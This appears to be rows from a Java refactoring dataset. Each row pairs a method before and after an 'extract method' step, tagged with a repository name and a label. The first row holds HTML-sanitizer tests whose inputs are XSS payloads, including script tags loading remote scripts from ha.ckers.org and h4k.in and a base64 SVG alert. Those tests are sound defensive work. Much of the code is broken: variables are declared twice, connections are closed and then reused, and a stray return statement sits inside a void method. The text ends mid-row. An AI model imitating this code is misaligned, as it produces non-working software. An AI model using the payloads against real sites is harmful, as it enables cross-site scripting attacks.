String sanitized = sanitize("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT SRC=http://ha.ckers.org/xss.js");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT SRC=http://ha.ckers.org/xss.js" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT SRC=http://ha.ckers.org/xss.js");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT SRC=http://ha.ckers.org/xss.js" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("style"));
assertEquals("`" + sanitized + "` from `" + "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>" + "` contains `" + "style" + "`", -1, index);
String sanitized = sanitize("<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("style"));
assertEquals("`" + sanitized + "` from `" + "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>" + "` contains `" + "style" + "`", -1, index);
String sanitized = sanitize("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("aim.exe"));
assertEquals("`" + sanitized + "` from `" + "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" + "` contains `" + "aim.exe" + "`", -1, index);
String sanitized = sanitize("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("aim.exe"));
assertEquals("`" + sanitized + "` from `" + "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" + "` contains `" + "aim.exe" + "`", -1, index);
String sanitized = sanitize("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" + "` contains `" + "javascript" + "`", -1, index);
<DeepExtract>
String sanitized = sanitize("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("document"));
assertEquals("`" + sanitized + "` from `" + "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" + "` contains `" + "document" + "`", -1, index);
</DeepExtract>
String sanitized = sanitize("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("document"));
assertEquals("`" + sanitized + "` from `" + "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" + "` contains `" + "document" + "`", -1, index);
} | java-html-sanitizer | positive | 3,350 |
private void setMarginBottom(int margin) {
if (margin == lastMargin && !firstTime) {
return;
}
firstTime = false;
lastMargin = margin;
float logoMargin = (marginBottom + 16) * dp;
int newMargin = (int) (margin < logoMargin ? logoMargin : margin + marginBottom * dp);
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) languagesButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
languagesButton.setLayoutParams(viewLayoutParams);
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) followUserButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
followUserButton.setLayoutParams(viewLayoutParams);
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) universesButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
universesButton.setLayoutParams(viewLayoutParams);
} | private void setMarginBottom(int margin) {
if (margin == lastMargin && !firstTime) {
return;
}
firstTime = false;
lastMargin = margin;
float logoMargin = (marginBottom + 16) * dp;
int newMargin = (int) (margin < logoMargin ? logoMargin : margin + marginBottom * dp);
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) languagesButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
languagesButton.setLayoutParams(viewLayoutParams);
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) followUserButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
followUserButton.setLayoutParams(viewLayoutParams);
<DeepExtract>
ConstraintLayout.LayoutParams viewLayoutParams = (ConstraintLayout.LayoutParams) universesButton.getLayoutParams();
viewLayoutParams.bottomMargin = newMargin;
universesButton.setLayoutParams(viewLayoutParams);
</DeepExtract>
} | mapwize-ui-android | positive | 3,351 |
@Test
public void testDeleteAsUser() {
userGroupPayload.put("name", fairy.textProducer().word(1));
Long createdUserGroupId = given().auth().oauth2(adminUserOAuth2AccessToken).contentType(ContentType.JSON).body(userGroupPayload).when().post(RequestMappings.USER_GROUPS).then().extract().body().as(UserGroup.class).getId();
given().auth().oauth2(userOAuth2AccessToken).pathParam("userGroupId", createdUserGroupId).when().delete(RequestMappings.USER_GROUPS + RequestMappings.USER_GROUPS_ID).then().statusCode(HttpStatus.FORBIDDEN.value());
given().auth().oauth2(adminUserOAuth2AccessToken).pathParam("userGroupId", createdUserGroupId).when().get(RequestMappings.USER_GROUPS + RequestMappings.USER_GROUPS_ID).then().statusCode(HttpStatus.OK.value());
} | @Test
public void testDeleteAsUser() {
<DeepExtract>
userGroupPayload.put("name", fairy.textProducer().word(1));
</DeepExtract>
Long createdUserGroupId = given().auth().oauth2(adminUserOAuth2AccessToken).contentType(ContentType.JSON).body(userGroupPayload).when().post(RequestMappings.USER_GROUPS).then().extract().body().as(UserGroup.class).getId();
given().auth().oauth2(userOAuth2AccessToken).pathParam("userGroupId", createdUserGroupId).when().delete(RequestMappings.USER_GROUPS + RequestMappings.USER_GROUPS_ID).then().statusCode(HttpStatus.FORBIDDEN.value());
given().auth().oauth2(adminUserOAuth2AccessToken).pathParam("userGroupId", createdUserGroupId).when().get(RequestMappings.USER_GROUPS + RequestMappings.USER_GROUPS_ID).then().statusCode(HttpStatus.OK.value());
} | communikey-backend | positive | 3,352 |
@Override
public void onGlobalLayout() {
LinearLayout.LayoutParams bottomLayoutParams = (LinearLayout.LayoutParams) getView(R.id.post_image_bottom).getLayoutParams();
View view = getView(R.id.post_image_container);
LinearLayout.LayoutParams postImageContainerLayoutParams;
int viewHeight = getView(R.id.content_container).getHeight();
int postImageContainerHeight = viewHeight - bottomLayoutParams.height;
if (postImageContainerHeight < imageView.getLayoutParams().height) {
postImageContainerLayoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, imageView.getLayoutParams().height);
} else {
postImageContainerLayoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, postImageContainerHeight);
}
view.setLayoutParams(postImageContainerLayoutParams);
getView(R.id.activity_base_container).getViewTreeObserver().removeOnGlobalLayoutListener(this);
} | @Override
public void onGlobalLayout() {
<DeepExtract>
LinearLayout.LayoutParams bottomLayoutParams = (LinearLayout.LayoutParams) getView(R.id.post_image_bottom).getLayoutParams();
View view = getView(R.id.post_image_container);
LinearLayout.LayoutParams postImageContainerLayoutParams;
int viewHeight = getView(R.id.content_container).getHeight();
int postImageContainerHeight = viewHeight - bottomLayoutParams.height;
if (postImageContainerHeight < imageView.getLayoutParams().height) {
postImageContainerLayoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, imageView.getLayoutParams().height);
} else {
postImageContainerLayoutParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, postImageContainerHeight);
}
view.setLayoutParams(postImageContainerLayoutParams);
</DeepExtract>
getView(R.id.activity_base_container).getViewTreeObserver().removeOnGlobalLayoutListener(this);
} | ImageEdit | positive | 3,353 |
@Override
public void onClose(IPCClient client, JSONObject json) {
logger.info("Discord RPC closed");
this.client = null;
connected = false;
if (updateTimer != null) {
updateTimer.cancel();
updateTimer = null;
}
} | @Override
public void onClose(IPCClient client, JSONObject json) {
logger.info("Discord RPC closed");
this.client = null;
connected = false;
<DeepExtract>
if (updateTimer != null) {
updateTimer.cancel();
updateTimer = null;
}
</DeepExtract>
} | SkyblockAddons | positive | 3,354 |
@Test
public void multiRollback() throws SQLException {
stat1.executeUpdate("create table t (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into t values (1);");
conn1.commit();
stat1.executeUpdate("insert into t values (1);");
String select = "select * from trans;";
ResultSet rs;
stat1.executeUpdate("create table trans (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into trans values (3);");
rs = stat1.executeQuery(select);
assertTrue(rs.next());
rs.close();
conn1.rollback();
rs = stat1.executeQuery(select);
assertFalse(rs.next());
rs.close();
stat1.addBatch("insert into t values (2);");
stat1.addBatch("insert into t values (3);");
stat1.executeBatch();
conn1.commit();
stat1.addBatch("insert into t values (7);");
stat1.executeBatch();
String select = "select * from trans;";
ResultSet rs;
stat1.executeUpdate("create table trans (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into trans values (3);");
rs = stat1.executeQuery(select);
assertTrue(rs.next());
rs.close();
conn1.rollback();
rs = stat1.executeQuery(select);
assertFalse(rs.next());
rs.close();
stat1.executeUpdate("insert into t values (4);");
conn1.setAutoCommit(true);
stat1.executeUpdate("insert into t values (5);");
conn1.setAutoCommit(false);
PreparedStatement p = conn1.prepareStatement("insert into t values (?);");
p.setInt(1, 6);
p.executeUpdate();
p.setInt(1, 7);
p.executeUpdate();
rs = stat1.executeQuery("select sum(c1) from t;");
assertTrue(rs.next());
assertEquals(1 + 2 + 3 + 4 + 5 + 6 + 7, rs.getInt(1));
stat1.close();
stat2.close();
stat3.close();
conn1.close();
conn2.close();
conn3.close();
rs = stat2.executeQuery("select sum(c1) from t;");
assertTrue(rs.next());
assertEquals(1 + 2 + 3 + 4 + 5, rs.getInt(1));
stat1.close();
stat2.close();
stat3.close();
conn1.close();
conn2.close();
conn3.close();
} | @Test
public void multiRollback() throws SQLException {
stat1.executeUpdate("create table t (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into t values (1);");
conn1.commit();
stat1.executeUpdate("insert into t values (1);");
String select = "select * from trans;";
ResultSet rs;
stat1.executeUpdate("create table trans (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into trans values (3);");
rs = stat1.executeQuery(select);
assertTrue(rs.next());
rs.close();
conn1.rollback();
rs = stat1.executeQuery(select);
assertFalse(rs.next());
rs.close();
stat1.addBatch("insert into t values (2);");
stat1.addBatch("insert into t values (3);");
stat1.executeBatch();
conn1.commit();
stat1.addBatch("insert into t values (7);");
stat1.executeBatch();
String select = "select * from trans;";
ResultSet rs;
stat1.executeUpdate("create table trans (c1);");
conn1.setAutoCommit(false);
stat1.executeUpdate("insert into trans values (3);");
rs = stat1.executeQuery(select);
assertTrue(rs.next());
rs.close();
conn1.rollback();
rs = stat1.executeQuery(select);
assertFalse(rs.next());
rs.close();
stat1.executeUpdate("insert into t values (4);");
conn1.setAutoCommit(true);
stat1.executeUpdate("insert into t values (5);");
conn1.setAutoCommit(false);
PreparedStatement p = conn1.prepareStatement("insert into t values (?);");
p.setInt(1, 6);
p.executeUpdate();
p.setInt(1, 7);
p.executeUpdate();
rs = stat1.executeQuery("select sum(c1) from t;");
assertTrue(rs.next());
assertEquals(1 + 2 + 3 + 4 + 5 + 6 + 7, rs.getInt(1));
<DeepExtract>
stat1.close();
stat2.close();
stat3.close();
conn1.close();
conn2.close();
conn3.close();
</DeepExtract>
rs = stat2.executeQuery("select sum(c1) from t;");
assertTrue(rs.next());
assertEquals(1 + 2 + 3 + 4 + 5, rs.getInt(1));
<DeepExtract>
stat1.close();
stat2.close();
stat3.close();
conn1.close();
conn2.close();
conn3.close();
</DeepExtract>
} | spatialite4-jdbc | positive | 3,355 |
public void parse(IPacketParser parser) throws IOException {
this.setFrameId(parser.read("AT Response Frame Id"));
this.char1 = parser.read("AT Response Char 1");
this.char2 = parser.read("AT Response Char 2");
this.status = Status.get(parser.read("AT Response Status"));
this.value = parser.readRemainingBytes();
} | public void parse(IPacketParser parser) throws IOException {
this.setFrameId(parser.read("AT Response Frame Id"));
this.char1 = parser.read("AT Response Char 1");
this.char2 = parser.read("AT Response Char 2");
this.status = Status.get(parser.read("AT Response Status"));
<DeepExtract>
this.value = parser.readRemainingBytes();
</DeepExtract>
} | xbee-api | positive | 3,356 |
@Override
public WatchKey poll(long timeout, TimeUnit unit) throws InterruptedException {
if (!open)
throw new ClosedWatchServiceException();
synchronized (eventingQueue) {
while (eventingQueue.isEmpty()) {
eventingQueue.wait(unit.toMillis(timeout));
checkClosed();
}
return eventingQueue.poll();
}
} | @Override
public WatchKey poll(long timeout, TimeUnit unit) throws InterruptedException {
<DeepExtract>
if (!open)
throw new ClosedWatchServiceException();
</DeepExtract>
synchronized (eventingQueue) {
while (eventingQueue.isEmpty()) {
eventingQueue.wait(unit.toMillis(timeout));
checkClosed();
}
return eventingQueue.poll();
}
} | java-baidupcs | positive | 3,357 |
@Override
public void onDriveRouteSearched(DriveRouteResult result, int errorCode) {
if (progDialog != null) {
progDialog.dismiss();
}
aMap.clear();
if (errorCode == AMapException.CODE_AMAP_SUCCESS) {
if (result != null && result.getPaths() != null) {
if (result.getPaths().size() > 0) {
mDriveRouteResult = result;
final DrivePath drivePath = mDriveRouteResult.getPaths().get(0);
DrivingRouteOverlay drivingRouteOverlay = new DrivingRouteOverlay(mContext, aMap, drivePath, mDriveRouteResult.getStartPos(), mDriveRouteResult.getTargetPos(), null);
drivingRouteOverlay.setNodeIconVisibility(false);
drivingRouteOverlay.setIsColorfulline(true);
drivingRouteOverlay.removeFromMap();
drivingRouteOverlay.addToMap();
drivingRouteOverlay.zoomToSpan();
mBottomLayout.setVisibility(View.VISIBLE);
int dis = (int) drivePath.getDistance();
int dur = (int) drivePath.getDuration();
String des = AMapUtil.getFriendlyTime(dur) + "(" + AMapUtil.getFriendlyLength(dis) + ")";
mRotueTimeDes.setText(des);
mRouteDetailDes.setVisibility(View.VISIBLE);
int taxiCost = (int) mDriveRouteResult.getTaxiCost();
mRouteDetailDes.setText("打车约" + taxiCost + "元");
mBottomLayout.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(mContext, DriveRouteDetailActivity.class);
intent.putExtra("drive_path", drivePath);
intent.putExtra("drive_result", mDriveRouteResult);
startActivity(intent);
}
});
} else if (result != null && result.getPaths() == null) {
ToastUtil.show(mContext, R.string.no_result);
}
} else {
ToastUtil.show(mContext, R.string.no_result);
}
} else {
ToastUtil.showerror(this.getApplicationContext(), errorCode);
}
} | @Override
public void onDriveRouteSearched(DriveRouteResult result, int errorCode) {
<DeepExtract>
if (progDialog != null) {
progDialog.dismiss();
}
</DeepExtract>
aMap.clear();
if (errorCode == AMapException.CODE_AMAP_SUCCESS) {
if (result != null && result.getPaths() != null) {
if (result.getPaths().size() > 0) {
mDriveRouteResult = result;
final DrivePath drivePath = mDriveRouteResult.getPaths().get(0);
DrivingRouteOverlay drivingRouteOverlay = new DrivingRouteOverlay(mContext, aMap, drivePath, mDriveRouteResult.getStartPos(), mDriveRouteResult.getTargetPos(), null);
drivingRouteOverlay.setNodeIconVisibility(false);
drivingRouteOverlay.setIsColorfulline(true);
drivingRouteOverlay.removeFromMap();
drivingRouteOverlay.addToMap();
drivingRouteOverlay.zoomToSpan();
mBottomLayout.setVisibility(View.VISIBLE);
int dis = (int) drivePath.getDistance();
int dur = (int) drivePath.getDuration();
String des = AMapUtil.getFriendlyTime(dur) + "(" + AMapUtil.getFriendlyLength(dis) + ")";
mRotueTimeDes.setText(des);
mRouteDetailDes.setVisibility(View.VISIBLE);
int taxiCost = (int) mDriveRouteResult.getTaxiCost();
mRouteDetailDes.setText("打车约" + taxiCost + "元");
mBottomLayout.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(mContext, DriveRouteDetailActivity.class);
intent.putExtra("drive_path", drivePath);
intent.putExtra("drive_result", mDriveRouteResult);
startActivity(intent);
}
});
} else if (result != null && result.getPaths() == null) {
ToastUtil.show(mContext, R.string.no_result);
}
} else {
ToastUtil.show(mContext, R.string.no_result);
}
} else {
ToastUtil.showerror(this.getApplicationContext(), errorCode);
}
} | SmallExcellent-master | positive | 3,359 |
public MarkerState getMarkerState() {
new MarkerState().read(dataBuffer);
return new MarkerState();
} | public MarkerState getMarkerState() {
<DeepExtract>
new MarkerState().read(dataBuffer);
return new MarkerState();
</DeepExtract>
} | jsimconnect | positive | 3,360 |
public void captureChildView(View childView, int activePointerId) {
if (childView.getParent() != mParentView) {
throw new IllegalArgumentException("captureChildView: parameter must be a descendant " + "of the ViewDragHelper's tracked parent view (" + mParentView + ")");
}
mCapturedView = childView;
mActivePointerId = activePointerId;
if (mDragState != STATE_DRAGGING) {
mDragState = STATE_DRAGGING;
mCallback.onViewDragStateChanged(STATE_DRAGGING);
if (STATE_DRAGGING == STATE_IDLE) {
mCapturedView = null;
}
}
} | public void captureChildView(View childView, int activePointerId) {
if (childView.getParent() != mParentView) {
throw new IllegalArgumentException("captureChildView: parameter must be a descendant " + "of the ViewDragHelper's tracked parent view (" + mParentView + ")");
}
mCapturedView = childView;
mActivePointerId = activePointerId;
<DeepExtract>
if (mDragState != STATE_DRAGGING) {
mDragState = STATE_DRAGGING;
mCallback.onViewDragStateChanged(STATE_DRAGGING);
if (STATE_DRAGGING == STATE_IDLE) {
mCapturedView = null;
}
}
</DeepExtract>
} | superCleanMaster-master | positive | 3,361 |
@Override
public void onAnimationEnd(Animator animation) {
float current = getRotation();
float target = current > HALF_ANGLE ? FULL_ANGLE : 0;
float diff = target > 0 ? FULL_ANGLE - current : current;
mEndRotateAnimator.setFloatValues(current, target);
mEndRotateAnimator.setDuration((int) (DURATION_PER_DEGREES * diff));
if (SHAPE_RECTANGLE == mShape) {
return;
}
if (!isRunning()) {
mStartRotateAnimator.start();
}
} | @Override
public void onAnimationEnd(Animator animation) {
float current = getRotation();
float target = current > HALF_ANGLE ? FULL_ANGLE : 0;
float diff = target > 0 ? FULL_ANGLE - current : current;
mEndRotateAnimator.setFloatValues(current, target);
mEndRotateAnimator.setDuration((int) (DURATION_PER_DEGREES * diff));
<DeepExtract>
if (SHAPE_RECTANGLE == mShape) {
return;
}
if (!isRunning()) {
mStartRotateAnimator.start();
}
</DeepExtract>
} | LightWeightMusicPlayer | positive | 3,362 |
public void start(boolean tp) {
try {
Bukkit.getScheduler().cancelTask(currenttaskid);
} catch (Exception e) {
}
currentingamecount = pli.ingame_countdown;
if (tp) {
pspawnloc = Util.teleportAllPlayers(currentarena.getArena().getAllPlayers(), currentarena.getArena().spawns);
}
boolean clearinv = plugin.getConfig().getBoolean("config.countdowns.clearinv_while_ingamecountdown");
for (String p_ : currentarena.getArena().getAllPlayers()) {
Player p = Bukkit.getPlayer(p_);
p.setWalkSpeed(0.0F);
p.setFoodLevel(5);
p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, 9999999, -7));
pli.scoreboardLobbyManager.removeScoreboard(this.getInternalName(), p);
if (clearinv) {
Util.clearInv(p);
}
}
final Arena a = this;
Bukkit.getScheduler().runTaskLater(plugin, new Runnable() {
public void run() {
pli.scoreboardManager.updateScoreboard(plugin, a);
}
}, 20L);
startedIngameCountdown = true;
if (!plugin.getConfig().getBoolean("config.countdowns.ingame_countdown_enabled")) {
startRaw(a);
return;
}
Sound ingamecountdown_sound_ = null;
try {
ingamecountdown_sound_ = Sound.valueOf(plugin.getConfig().getString("config.sounds.ingame_countdown"));
} catch (Exception e) {
;
}
final Sound ingamecountdown_sound = ingamecountdown_sound_;
return this.currenttaskid;
for (final String p_ : this.getAllPlayers()) {
if (pli.getShopHandler().hasItemBought(p_, "coin_boost2")) {
global_coin_multiplier = 2;
break;
}
if (pli.getShopHandler().hasItemBought(p_, "coin_boost3")) {
global_coin_multiplier = 3;
break;
}
}
} | public void start(boolean tp) {
try {
Bukkit.getScheduler().cancelTask(currenttaskid);
} catch (Exception e) {
}
currentingamecount = pli.ingame_countdown;
if (tp) {
pspawnloc = Util.teleportAllPlayers(currentarena.getArena().getAllPlayers(), currentarena.getArena().spawns);
}
boolean clearinv = plugin.getConfig().getBoolean("config.countdowns.clearinv_while_ingamecountdown");
for (String p_ : currentarena.getArena().getAllPlayers()) {
Player p = Bukkit.getPlayer(p_);
p.setWalkSpeed(0.0F);
p.setFoodLevel(5);
p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, 9999999, -7));
pli.scoreboardLobbyManager.removeScoreboard(this.getInternalName(), p);
if (clearinv) {
Util.clearInv(p);
}
}
final Arena a = this;
Bukkit.getScheduler().runTaskLater(plugin, new Runnable() {
public void run() {
pli.scoreboardManager.updateScoreboard(plugin, a);
}
}, 20L);
startedIngameCountdown = true;
if (!plugin.getConfig().getBoolean("config.countdowns.ingame_countdown_enabled")) {
startRaw(a);
return;
}
Sound ingamecountdown_sound_ = null;
try {
ingamecountdown_sound_ = Sound.valueOf(plugin.getConfig().getString("config.sounds.ingame_countdown"));
} catch (Exception e) {
;
}
final Sound ingamecountdown_sound = ingamecountdown_sound_;
<DeepExtract>
return this.currenttaskid;
</DeepExtract>
for (final String p_ : this.getAllPlayers()) {
if (pli.getShopHandler().hasItemBought(p_, "coin_boost2")) {
global_coin_multiplier = 2;
break;
}
